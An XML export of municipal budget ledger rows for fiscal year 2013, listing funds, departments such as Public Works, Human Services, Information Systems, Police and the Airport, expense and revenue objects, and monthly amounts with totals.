<row _id="4130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5524.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>55</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5579.0</total></row>
<row _id="4131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5855.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>59</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5914.0</total></row>
<row _id="4132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3528.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3528.0</total></row>
<row _id="4133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4092.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4092.0</total></row>
<row _id="4134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561402.0</object><object_description>CLINICAL SUPERVISION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7182.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7182.0</total></row>
<row _id="4135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>320440.0</july><august>0</august><september>0.0</september><october>-100668.0</october><november>0</november><december>0</december><january>0.0</january><february>2198</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>221970.0</total></row>
<row _id="4136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204.0</july><august>0</august><september>0.0</september><october>-60.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="4137"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="4138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23554.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23554.0</total></row>
<row _id="4139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>404.0</july><august>0</august><september>0.0</september><october>-130.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274.0</total></row>
<row _id="4140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1658878.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1658878.0</total></row>
<row _id="4141"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>33547.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33547.0</total></row>
<row _id="4142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>418.0</total></row>
<row _id="4143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1320641.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>13206</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1333847.0</total></row>
<row _id="4144"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2300.0</total></row>
<row _id="4145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>450</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11666.0</total></row>
<row _id="4146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4567.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>95</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4662.0</total></row>
<row _id="4147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4794.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>348</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5142.0</total></row>
<row _id="4148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566960.0</object><object_description>PRISONER RETENTION &amp; TRANSPORT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="4149"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>402030.0</object><object_description>CAROUSEL OPERATION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-255000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-255000.0</total></row>
<row _id="4150"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>181424.0</july><august>0</august><september>0.0</september><october>-1281.0</october><november>0</november><december>0</december><january>0.0</january><february>1806</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>181949.0</total></row>
<row _id="4151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4690.0</july><august>0</august><september>0.0</september><october>35.0</october><november>0</november><december>0</december><january>0.0</january><february>47</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4772.0</total></row>
<row _id="4152"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2867.0</total></row>
<row _id="4153"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2800.0</total></row>
<row _id="4154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>32000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="4155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>110313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>110313.0</total></row>
<row _id="4156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14049.0</july><august>0</august><september>0.0</september><october>84.0</october><november>0</november><december>0</december><january>0.0</january><february>141</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14274.0</total></row>
<row _id="4157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511810.0</object><object_description>TUITION REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>56900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56900.0</total></row>
<row _id="4158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>566120.0</object><object_description>EMPLOYEE SERVICE AWARDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39000.0</total></row>
<row _id="4159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-57000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-57000.0</total></row>
<row _id="4160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>13952.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13952.0</total></row>
<row _id="4161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401010.0</object><object_description>SWIM CENTER-WET WORKOUTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-17690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-17690.0</total></row>
<row _id="4162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569221.0</object><object_description>MADISON PROJECT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5291.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5291.0</total></row>
<row _id="4164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>25681.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2647</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28328.0</total></row>
<row _id="4165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="4166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13905.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13886.0</total></row>
<row _id="4167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2055.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-204</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1851.0</total></row>
<row _id="4168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5233.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-331</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4902.0</total></row>
<row _id="4169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>104700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104700.0</total></row>
<row _id="4170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>561.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>561.0</total></row>
<row _id="4171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2550.0</total></row>
<row _id="4172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533170.0</object><object_description>AUDIO EQUIPMENT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18054.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18054.0</total></row>
<row _id="4173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6020.0</total></row>
<row _id="4174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12765.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12715.0</total></row>
<row _id="4175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4151.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4151.0</total></row>
<row _id="4176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16501.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1600</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14901.0</total></row>
